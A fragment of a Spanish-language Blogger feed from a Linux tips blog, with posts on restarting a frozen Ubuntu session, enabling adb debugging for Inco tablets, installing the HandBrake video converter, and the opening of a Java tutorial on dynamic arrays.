&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzsYE_U3hgt_9F2vi-Cwazo7lqbEdYlWJRN1hMVADv0uiTNEB5UPUsaCFJbIPL7ZTzplHXDXr9WBrXkkl5pWVnaroA9RpfPikPZ6Gl4RCd3642-8MJEJ6zYFI0HrD1BAtmB1mi8BCm7DQG/s1600/Xorg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzsYE_U3hgt_9F2vi-Cwazo7lqbEdYlWJRN1hMVADv0uiTNEB5UPUsaCFJbIPL7ZTzplHXDXr9WBrXkkl5pWVnaroA9RpfPikPZ6Gl4RCd3642-8MJEJ6zYFI0HrD1BAtmB1mi8BCm7DQG/s1600/Xorg.png&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
O nos logeamos como root y tecleamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;killall Xorg&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
Con eso eliminamos todo lo que tiene que ver con Xorg y en Ubuntu esto nos mostrara automáticamente la pantalla de login para entrar de nuevo,no es la mejor practica pero podemos entrar de nuevo a nuestro usuario.&lt;br /&gt;
&lt;br /&gt;
Esto elimina los procesos,así que si tenemos por ejemplo un documento que aun no salvamos,no se guardara,a menos que tenga un servicio que guarde automaticamente cada cierto tiempo,y en teoria se debe seguir ejecutando ya que el sistema nos deja acceder a otras partes del mismo,el problema es solo que el entorno de escritorio no responde.&lt;br /&gt;
&lt;br /&gt;
En el peor de los casos el sistema entero se cae y no nos deja ni siquiera mover el mouse o entrar a una tty o apagar la pc.&lt;br /&gt;
&lt;br /&gt;
En el futuro hablaremos de como pausar procesos para salvarlos o migrarlos a otra shell,aunque sean los de terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;&lt;script async=&quot;&quot; src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;!-- Grande --&gt;&lt;br /&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5807640553894844&quot; data-ad-slot=&quot;8726839566&quot; style=&quot;display: inline-block; height: 280px; width: 336px;&quot;&gt;&lt;/ins&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;Y recuerda si te&amp;nbsp;sirvió&amp;nbsp;y tienes cuenta de google dale google aya abajo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;&lt;/div&gt;&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; imageanchor=&quot;1&quot; style=&quot;background-position: 0px 0px; box-sizing: border-box; color: #2a6496; margin-left: 1em; margin-right: 1em; outline: 0px;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; style=&quot;-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; border: 1px solid rgb(237, 237, 237); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; padding: 5px; position: relative; vertical-align: middle;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/7278649050744436985/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/04/como-destruir-sesion-de-ubuntu-congelado.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/7278649050744436985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/7278649050744436985'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/04/como-destruir-sesion-de-ubuntu-congelado.html' title='Como destruir sesion de Ubuntu congelado'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzsYE_U3hgt_9F2vi-Cwazo7lqbEdYlWJRN1hMVADv0uiTNEB5UPUsaCFJbIPL7ZTzplHXDXr9WBrXkkl5pWVnaroA9RpfPikPZ6Gl4RCd3642-8MJEJ6zYFI0HrD1BAtmB1mi8BCm7DQG/s72-c/Xorg.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-2069695416831345043</id><published>2014-04-12T13:54:00.002-05:00</published><updated>2014-04-12T13:55:59.430-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adb"/><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="Aurora"/><category scheme="http://www.blogger.com/atom/ns#" term="debug"/><category scheme="http://www.blogger.com/atom/ns#" term="Inco"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="tablet"/><title type='text'>Poder hacer debug con dispositivos Inco Eclipse Linux</title><content type='html'>Esto es para las tablets llamadas chinas,ya que el adb no las detecta.&lt;br /&gt;
&lt;br /&gt;
Un poco de historia:&lt;br /&gt;
&lt;br /&gt;
Me toco comprar varios dispositivos android para probar distintas apps que estoy programando,ya que aunque eclipse pueda emular android virtuales no hay como probar la app en la vida real(un dispositivo real),para no gastar mucho compre algunos dispositivos &lt;a href=&quot;http://incomobile.com/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Inco&lt;/b&gt;&lt;/a&gt; ya que lo único que quiero ver es el posicionamiento de los &lt;b&gt;layout&lt;/b&gt; en distintas pantallas,así que esa marca me sirve por lo menos para las tabletas.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Esta marca son de las llamadas &lt;b&gt;tablets&lt;/b&gt; o &lt;b&gt;smartphones chinos&lt;/b&gt;(como algunas otras marcas),no son muy buenos como los Samsung,LG,Motorola,Nexus pero lo que sea de cada quien sirven muy bien(para el precio que vale) y eso que lo comparo con un iPad o Galaxy tab&amp;nbsp;&lt;span style=&quot;text-align: center;&quot;&gt;bien basta de historia.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tutorial&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Linux no detecta estos &lt;b&gt;dispositivos chinos&lt;/b&gt;,si los detecta pero no así el adb, o enteramente ya que solo se visualiza el BUS:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAtjbCjXn_iftOg8BzN5HB_8nnoEH1rcBxxtmhIumk5mpjBtPQAQuUsiydhfIyz892jrRTGaOtSqt0i3voTFxHE2NCdJbx_tsiJwZ2U-zzwCl_nurEScKjDVs64mU8VKnllG1NkFSoZWJ/s1600/incos+android+debug.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAtjbCjXn_iftOg8BzN5HB_8nnoEH1rcBxxtmhIumk5mpjBtPQAQuUsiydhfIyz892jrRTGaOtSqt0i3voTFxHE2NCdJbx_tsiJwZ2U-zzwCl_nurEScKjDVs64mU8VKnllG1NkFSoZWJ/s1600/incos+android+debug.png&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Si lo vemos que el &lt;b&gt;adb&lt;/b&gt; tampoco lo muestra:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;adb devices -l&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Para que lo &quot;agarre&quot; el sistema, tenemos que añadir su &amp;nbsp;ID al servicio android:&lt;br /&gt;
&lt;br /&gt;
Por ejemplo el mio es:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1f3a:1002&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Tomamos el primero y usamos notación &lt;b&gt;HEX&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;cho &#39;0x1f3a&#39; &amp;gt;&amp;gt; ~/.android/adb_usb.ini&lt;/b&gt;&lt;/blockquote&gt;
Tambien añadimos esto en las reglas de android:&lt;br /&gt;
&lt;br /&gt;
Abrimos para editar:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo nano /etc/udev/rules.d/51-android.rules&lt;/b&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Código&lt;/span&gt;&lt;/b&gt; es la notación HEX de 3 digitos quitando el primero del ID de tu tablet,por ejemplo:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;1f3a&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
El código seria:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;f3a&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SUBSYSTEM==&quot;usb&quot;, ENV{DEVTYPE}==&quot;usb_device&quot;,&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;SUBSYSTEM==&quot;usb&quot;, ENV{PRODUCT}==&quot;&lt;span style=&quot;color: red;&quot;&gt;codigo&lt;/span&gt;/*&quot;, MODE=&quot;0666&quot;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;SUBSYSTEM==&quot;usb&quot;, SYSFS{idVendor}==&quot;&lt;span style=&quot;color: red;&quot;&gt;codigo&lt;/span&gt;&quot;, MODE=&quot;0666&quot;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfinSNdGuj9SaI7YgG_Wk3xX82E50ZdjA3WQtQ6p7NrOo9bKSUtVPYLes1N34Cy2neXerrQC6zZaFNnO31FQQc_vL9fgh_sNOKbag-_K56HjttZk4TLUgBSR5a9oy_p3y15dp1CbW2TYP6/s1600/rules.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfinSNdGuj9SaI7YgG_Wk3xX82E50ZdjA3WQtQ6p7NrOo9bKSUtVPYLes1N34Cy2neXerrQC6zZaFNnO31FQQc_vL9fgh_sNOKbag-_K56HjttZk4TLUgBSR5a9oy_p3y15dp1CbW2TYP6/s1600/rules.png&quot; height=&quot;252&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Eso es todo,ahora solo reiniciamos la pc o si no pueden, reinician el servicio de adb:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;adb kill-server &amp;amp;&amp;amp;&amp;nbsp;&amp;nbsp;adb start-server&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
Veamos:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsJ3ZTgnwdAjILR_5nwOgOGfQ0FiV3nfj2_GqHm7ZsygnlWvU71vd-OL9RGgzEAhbbgSDbyvm_gzYMkM_omUSA5rH98T7EOw0G17k16cX6dwqVOGbHAfBcH1Hhqbzo1miqyjJYIKJ15IA9/s1600/aurora+debug+adb.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsJ3ZTgnwdAjILR_5nwOgOGfQ0FiV3nfj2_GqHm7ZsygnlWvU71vd-OL9RGgzEAhbbgSDbyvm_gzYMkM_omUSA5rH98T7EOw0G17k16cX6dwqVOGbHAfBcH1Hhqbzo1miqyjJYIKJ15IA9/s1600/aurora+debug+adb.png&quot; height=&quot;182&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
En eclipse:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1utuS8vmbD4doKAO1W9w6cA1PJoOoIjFheNfni8qAPHdmQi1P3kbGKlNHfImjiVQ6BvsIZuwsnRRYX5mqr5kIaQhf_r3Q_bVPaDvAK0qi3bwLu_Qw8EAZ9L4bmt2TPl9wb5k936a33L2u/s1600/adb+debug.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1utuS8vmbD4doKAO1W9w6cA1PJoOoIjFheNfni8qAPHdmQi1P3kbGKlNHfImjiVQ6BvsIZuwsnRRYX5mqr5kIaQhf_r3Q_bVPaDvAK0qi3bwLu_Qw8EAZ9L4bmt2TPl9wb5k936a33L2u/s1600/adb+debug.png&quot; height=&quot;247&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Eso es todo sirve para otros modelos Inco y creo que para mas tablets chinas(si no es que todas),el hecho es que lo reconozca Linux y este bien configurada la tablet para el modo debug dependiendo de la versión adroid que este ejecutando.</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/2069695416831345043/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/04/poder-hacer-debug-con-dispositivos-inco.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/2069695416831345043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/2069695416831345043'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/04/poder-hacer-debug-con-dispositivos-inco.html' title='Poder hacer debug con dispositivos Inco Eclipse Linux'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAtjbCjXn_iftOg8BzN5HB_8nnoEH1rcBxxtmhIumk5mpjBtPQAQuUsiydhfIyz892jrRTGaOtSqt0i3voTFxHE2NCdJbx_tsiJwZ2U-zzwCl_nurEScKjDVs64mU8VKnllG1NkFSoZWJ/s72-c/incos+android+debug.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-4609904342117046868</id><published>2014-04-12T12:14:00.000-05:00</published><updated>2014-04-12T12:14:29.600-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="13.10"/><category scheme="http://www.blogger.com/atom/ns#" term="convertidor"/><category scheme="http://www.blogger.com/atom/ns#" term="freesoftware"/><category scheme="http://www.blogger.com/atom/ns#" term="handbrake"/><category scheme="http://www.blogger.com/atom/ns#" term="libre"/><category scheme="http://www.blogger.com/atom/ns#" term="open"/><category scheme="http://www.blogger.com/atom/ns#" term="software"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="videos"/><title type='text'>Convertidor de videos para Ubuntu 13.10 HandBrake</title><content type='html'>En Ubuntu o en los sistemas GNU/Linux tenemos algunos programas para convertir vídeos,este en especial me gusta:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwcUH8E8DdXctgzIxlOrpFQ_LXp5utJsIczVqSS5bmRLOEt0MjZDzlnJEAhgeiLhEDDK1CAUoMofsLZ7qkrLJXs8aqsrHe9DBhHyRF3QuzhzoZaABfN2Fc6bTGIC_acdGiFUWCYzw_raZU/s1600/handbrake.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwcUH8E8DdXctgzIxlOrpFQ_LXp5utJsIczVqSS5bmRLOEt0MjZDzlnJEAhgeiLhEDDK1CAUoMofsLZ7qkrLJXs8aqsrHe9DBhHyRF3QuzhzoZaABfN2Fc6bTGIC_acdGiFUWCYzw_raZU/s1600/handbrake.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Es &lt;b&gt;Open Source&lt;/b&gt; y solo necesitamos instalar y ya,no necesitamos soporte extra como en el caso de &lt;b&gt;ffmpeg&lt;/b&gt;&amp;nbsp;, solo instalamos y listo :D&lt;br /&gt;
&lt;br /&gt;
Este convertidor sirve muy bien para los ipod touch o iphone,en el caso de ipod touch,solo sirve de la version 4g para arriba,una version menor tenemos que convertirlos usando el codec ipod sin soporte para 5g:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz61QesOnLBTmNyaribUy6cPrEQoN3NzY_Ayuhhij4P6TFA1Gl8RtE1WV6zUGnNtndNIQ1oihi5tepbeZ3FKVME5v92oE-InPvmYr8krPm51N4Hn74nOmSuO6EneOW5bjP-1p2he3qgOdi/s1600/handbrake+converter.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz61QesOnLBTmNyaribUy6cPrEQoN3NzY_Ayuhhij4P6TFA1Gl8RtE1WV6zUGnNtndNIQ1oihi5tepbeZ3FKVME5v92oE-InPvmYr8krPm51N4Hn74nOmSuO6EneOW5bjP-1p2he3qgOdi/s1600/handbrake+converter.png&quot; height=&quot;280&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Tiene opciones de Video,Audio,Subtitulos y Metadatos.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bien para instalar lo podemos hacer por PPA:&lt;br /&gt;
&lt;br /&gt;
Primero abrimos una terminal(Ctrl+Alt+T):&lt;br /&gt;
&lt;br /&gt;
Escribimos:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo add-apt-repository ppa:stebbins/handbrake-releases &amp;amp;&amp;amp;&amp;nbsp;&amp;nbsp;sudo apt-get update&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfmNfslUJpCTdlEztmg6EbQ40lRMuajoydcKRbCsegdbii5UoJqpiAEWHknimQGyhatgVmJ_7so2SnH8VNJ6JaM1LkmtVaUNqGuOpmkSVb6ysV4yr6TxlTVySdIH2atu4ssT_foYRJ4VQx/s1600/term.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfmNfslUJpCTdlEztmg6EbQ40lRMuajoydcKRbCsegdbii5UoJqpiAEWHknimQGyhatgVmJ_7so2SnH8VNJ6JaM1LkmtVaUNqGuOpmkSVb6ysV4yr6TxlTVySdIH2atu4ssT_foYRJ4VQx/s1600/term.png&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Y instalamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install&amp;nbsp;handbrake-gtk&lt;/b&gt;&lt;/blockquote&gt;
Para 64 bit podemos hacerlo desde el .deb:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;mkdir ~/handbrake &amp;amp;&amp;amp; cd ~/handbrake&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;wget -c https://launchpad.net/~stebbins/+archive/handbrake-releases/+files/handbrake-gtk_0.9.9ppa1~raring1_amd64.deb&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo dpkg -i handbrake-gtk_0.9.9ppa1~raring1_amd64.deb &amp;amp;&amp;amp; sudo apt-get install -f&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Abrimos,buscamos en el Dash:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHgGJ_diLr5mn1B-T_pxOPLLGPajhl5KVgHsYPT1I-TZ_h1U17WD54jPalyTnWaDlwOc0D7rdgOxg4WrZl8a8t8Rtd_FlBfLABqNlOb0zMVxvRVC6ZA0viOIxWI9-9O_oDAPLIGmy1KpG6/s1600/Captura+de+pantalla+de+2014-04-12+12:09:35.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHgGJ_diLr5mn1B-T_pxOPLLGPajhl5KVgHsYPT1I-TZ_h1U17WD54jPalyTnWaDlwOc0D7rdgOxg4WrZl8a8t8Rtd_FlBfLABqNlOb0zMVxvRVC6ZA0viOIxWI9-9O_oDAPLIGmy1KpG6/s1600/Captura+de+pantalla+de+2014-04-12+12:09:35.png&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
O en la terminal si aun esta abierta escriben:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;ghb &amp;amp; exit&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Ahora a disfrutar o usar :D.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/4609904342117046868/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/04/convertidor-de-videos-para-ubuntu-1310.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4609904342117046868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4609904342117046868'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/04/convertidor-de-videos-para-ubuntu-1310.html' title='Convertidor de videos para Ubuntu 13.10 HandBrake'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwcUH8E8DdXctgzIxlOrpFQ_LXp5utJsIczVqSS5bmRLOEt0MjZDzlnJEAhgeiLhEDDK1CAUoMofsLZ7qkrLJXs8aqsrHe9DBhHyRF3QuzhzoZaABfN2Fc6bTGIC_acdGiFUWCYzw_raZU/s72-c/handbrake.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-5314257818832603329</id><published>2014-04-11T13:26:00.000-05:00</published><updated>2014-04-11T13:26:51.352-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="java"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="listas"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><title type='text'>Tutorial Java en Linux Basico 8</title><content type='html'>&lt;b class=&quot;tr_bq&quot;&gt;Estructuras dinámicas&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
En esta ocasión vamos a ver como declarar estructuras dinámicas en java,las llamadas arrays.&lt;br /&gt;
&lt;br /&gt;
En ocasiones anteriores hemos visto los arreglos de una dimensión llamados vectores y de dos llamados matrices,a diferencia de los arreglos comunes que acabo de mencionar los &lt;b&gt;arrays&lt;/b&gt; deben o son dinámicos en tamaño no estáticos,por ejemplo al definir un vector de 10 elementos de tipo &lt;b&gt;int&lt;/b&gt; tenemos que hacer esto:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
